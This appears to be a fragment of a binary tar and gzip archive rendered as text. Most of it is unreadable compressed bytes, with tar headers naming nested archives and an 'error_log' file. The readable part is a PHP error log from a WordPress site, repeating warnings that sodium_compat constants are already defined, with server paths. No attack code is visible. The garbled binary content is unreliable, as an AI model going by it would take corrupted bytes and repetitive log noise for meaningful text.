���k�˛�GGs�A��ѝMY.`:��݅_@��O>���F!_5�&i�u�M��d���{(�&Y�C��e�R�K:8d�B�2�C�k�2S�aW�
�ղik�[8�����ˬ���g��J���F�Ί6gi6�iY4I�w�M4'�@Ȳ}��[-4�[�������\XkP��� j"$�߹Mj88���MT˕|U�*q����ڼ��P-�<Q�wD�R�͏�0��+�hw��l)�c>�a�+���Y���n)6Z���T��2Ǫ�"Y�D#K:����N�f��OE0���z�v%���H�s��c�%����	?�QD,C���l2����E��e]�<ř#*������	X�jD��ұ5\���P�����4-k$�o�8����Б>i��T��r δ��|����*u&]<;|�>o�~5o�8=�i��8�z���r�]h 0����LJ��TV��Y�S�+єl�и���<I_�LWu�J�ᨱ-�GI�1LJFQ+f
N��No�ɚ���C��P�aR��q��e"9R�ʀ��C1��Fػ�@F2$�yYb�$�9�,K�lz�LFl�5Ѹ2���K}��iT`lL��t�Wކ�U���\�Aq:<:���|�K��'[�k��0�T��p�� x��Þ��p�9HϬөd�o
�FZ�H�$�'�%�K��fsv:;7{RRK���{��*��j�]�i��+s��H��y48��I�jѮ��
��4y	����~Pl�'a˞��@�f�Fֲ�b|��,��L#?hh~�Xz'�-�ONo���
d�5�-��P�t���F��B�5Y�/���@�����A�v1�H��� ��:�N�6e�P{:e���z��;dM�0+cg:�eB�gq�f-a��yTϨ[���\Y�e/�������\���څ�tϛ1�����\}��"@Z7�r�Þ���p�y�� ��������f�IN��$a��-q}�l�-�k"�*��R��{T��N�$�t�xh�.�'g���о�r���R�Iz��bɢl�9X�d2���yD�u�ĊB?��f\\�mz�}=I�K��"���	�`o~��*�6uR)���63��z��kC�x�`�;���Å��n�M����	;{l�M	��t2���p�������'���t&��Ng��hvwpu��n8���.��(����℉^4�E����,��wv��̮�`(�U�����.�/�W|�d���PE��	��l+AE�U�$�����%��\2�EvΆn*B�Z0`Gu�zD|���g��@��VP息�����`K~�A�ެ3P�����.���T�I]'��m��q��Qf��1���86)4��f�đ�a��;{hƕ�
q$�U��j2�l	�Y-w��d�,��p�c4p)&�꩐�]#�@�0"f�}�����@`U���Q
�%]
|MU�5�T{��{��c?��g�V�t���uk`�*��2�4QD�D��
~jKm��~-��{T�z��{`mA�L�<C����g�����~N�ڝw�yh�`��F�	��I8Uw/���� ��K��K��7!�	LM@�S�1��D�P�>s+F+[�?M*���M��@@-3EQ#mZ�A��\�WL�&�v<N��|<��F��"0y.m��5A�r����;�P10�-�N?&����J�y��>�����'��B1��r>�Հ�����P�w�ڽ���������=<H�O�m/�Z���Z��;�~�����c��n�N����ٱ�D_:{�%��|0Ou�?9M'h���m��2bzf�Ŵ+7J�8�ak�D��h�4u/c�yX���[l�:�0f6�ؕ���dc�!T��j06�ۢ+O.�K��B/����_��q
���i��*�������42��o��.�r�YУK�v�v
�.Yy�HpR6ʅuġ݅��^��8�W�Q+�̪�b3R4z��u��fM�&��)a�,��rw������fA��
�u������
!/����J�M����</)�Th�u���DJ8y���+$���{t%�n^�ޢ��JbnӁVb��p��XŰgw�ld�*tMŝ���wCs
�������Ѭ1+����6f]_ d���_�(�W��:�$#��A��wUll�"tQB�6`.m���!ӧ���S��4p��K
^�)���%.n�Z��0LT��L=c���4�o�A;߈�;�Jx���s-���\�d\GPո�b"jFK$�0F�,V��`3p��q ,�I�7���Ӟc�[��Di-s�F��wE�#X��>mP�&��r�!�gMqg��lYw��/alؑ9sꌺ���.���q����t
��Ն��-dC�g�]������mm2����Ä��M�!l%;w~H�߱�:��MB�8���z��؂�M��l��ٟ��j��V�}{�-g'j�{��d2"q<��B�?ᶄߌ�iH��f�TDcK���H�	��w�H`�=�9�h�F�qOm.J[����w��'"8:���l;�OZ�ÌRκ��8�ܸC�'�{{���(yl��A�$�Kn��n1�I�8�e��5
\L7�+��$�$�E�_ �z���Y`H��k�f>ަ�$�ݸ�~d�h��x�R�T��0e%��餉�,紋��?���Ղ�D�5J�,NF�ٺ�#���BTۈ^-�����E�
�h_�i$��ńė� ��M_нDs�lE�N���1��MyK�A��b�'�7Yv�UY77y'	2c:�����;�O��Vր{.�b4��k{	�B?K�+�t�`5Sc�Fq�([Ղ�x]3��l
U�4[R�YT~�Q�5��?d��W_j1I5�c��K}T����B�H��-�{]��p4����,o�f��oa�Wb�E�*�v.JƉp��逧g��R_����&��F���ּ��aˆ�X��X�йԩ8�to+��k
���@8�r�@�vA�<ٍ~FՏ��w'ܹ
ց'b��0m�eY½���+���=��{��Ѵ�g�*�����+�
��	�Ȍ��AWz��J���𑻵6g6o2�zj�wQ����xޞ�:[����[I)�2�xt�dYzgT�Ѥ<��q/��������H�~��/S(�2���������n%d��r`tա���慏W��կ��B��'~1��~���o�~�|�|�|�|��џ�U͔�214338/plural-forms.php.php.tar.gz000064400000004141151024420100012341 0ustar00��Y[W7Ϋ�+�k���o8�1�4%��Ӥ�4��b��*k�V�>�����^��/M��p�g%�|�}�1�pN:>'���u<N�Dx�/ �QvG"��0��˜�E�睻�2/��Dt�pv� �88�C>�h=q�.<G������O����ޓ��^�?8���|p4@�G+>��9�܆���sr
�V;O�V�S�])ɽD�&�ߨ��sAxf�I_
�>A���v�N����v�`!&�
)��a4L���>�q j��a����� �^-�S�qY�h-(��Q�T�J��S�9�f�cO.�z�;�̛[̑���x>9���۟�k�o/dBfsG��7>����<��q@����+�a�޼m��T����n�8x~�/
���E�xdJAS�0�y8G3z=#`E�����;��[`Q6���(���L�>�l�0'��/�d�|�A��B�L�H;��w�FdJq;��%u�bB��l:'g�����dh�]�m�9^�z�V�/�A�x(����!�W�92��0���m 4����O��|�H�FN;c�tL�##��N*iqoO��V|x�bߊ��J왥��J�6��5����r��]xC�n`�c*��MrFlo��6�h�8�>2b�{���C�ΰ���A�DDc�p3�ˏ�'i�6G�i��q�pՙrE��8�e���e��I���Ҿ}
��	!���~�&P�X�#X��a��j.�ѯ&y�ne���4U4�x	��1���Z��cM���1��l�\
#�^8e��x�%�&SfP?�ă��uȩ��U��-�.��۷^���0�bf��	թ��<6�̻r��;����H��~�+C�PT�VĂI|���i�9HwnY�?�O)j��Nc��z?
U�w���>�>d�PC���-�+�|
��ԦC!��Xoc����L�(��Vo�ּTx{7��;^�<A��^�3U.�
���z�>�%�+��͔
==Y�v�5!`CasS��a~5�9����Y���2rl�+N�5����9�W
5k9
Y�0��e�[�Bh��_oNa�f�p�B3����
�}o�רhe*|����@�Oɒ$ ;��#��^Wqke�U��+��{n�D�2�W�%��vF���:*�����$
�<�T��X ���a��}���TZB�CAX;-ћ�H,�i�>,����]�ے&��]����T�1�)��(�m.Rū#�^��xp2���cW<q�W��+�f�C�pJ8�p��XrF	��0)s͙�ZOש��|��ӥ��&�7d�����x�zj�����h��z�nXx�R
D�]Q���p�J���\&�#�a�P
��Q@zn�[�e:k��Le��%PT�
/�GP/,��En�%��N��p^�{d�����ljpc{���	>�\�y�M`���	�l��C���v_sN�p
���\�%�Rdl;�]�rvR��O�]z>80v6%�$
��9�}�Vu��CNƍ���#q�.wԷ8��A���6�I��g5��">��hrHv�nU�n�?53�yԦ��Ƽ����|�l(sXB�%����EN^R�1�h/��f9Qk�-'�Z�z�	Q�k�!��*R6��5��o4�gbs&��i�2�gB�h+S��eo���li��vl�v�v���[b��x�C�>�T�w��5퓎rIûy�	q�p�s�Ƥ4t׀���m�p"c����
#���KP�4F��u����E�u�0�.s��fY?gnvu��E�;��^�F����������ʆ��g��a�B��ԧ��ՒF�.�hj�����9����,紴5��RKY�M�Ћ�K�9������,(��κ5�^{��4�uk��Zy�͕N�e�˽�rE�%�MT���e�B���g�"׈ė�p{^P�Y)��m?�"W�>���&�r;��𻿢�|x�
���0���C]�+a�l��:�����1���:[��x�/v�CW�+q���c��i�'�=��GC{���!�>,E\(�?�{�����b)v*����˫�wa��-�%-���c���ԗ��gP�pJM{�7p+i����hv�\�������|z���_�b%}$14338/lib.tar000064400000617000151024420100006475 0ustar00error_log000064400000274042151024232700006466 0ustar00[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MAJOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 3
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MINOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 4
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_LIBRARY_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 5
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 7
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 8
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 9
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 10
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 11
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 12
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 13
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 14
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 15
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 16
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 17
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 18
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 19
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 20
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 21
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 22
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 23
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 24
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 25
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 26
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 27
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 28
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEALBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 29
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 30
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 31
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 32
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 33
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 34
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 35
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 36
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 37
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_CONTEXTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 38
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 39
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 42
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 43
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 44
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 45
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SESSIONKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 46
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 47
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 48
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 49
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 50
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 51
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 52
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 53
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 54
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 55
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 56
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 57
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 58
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 59
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 60
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 61
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 62
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 63
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 64
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 65
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 66
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 67
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 68
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 69
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_SCALARBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 70
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 71
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 72
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 73
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 74
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 75
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 76
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 77
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 78
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 79
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 81
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 82
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 83
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 84
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 85
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 86
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 87
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 88
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 89
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 90
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 91
[27-Oct-2025 16:47:39 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 92
[30-Oct-2025 06:02:49 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MAJOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 3
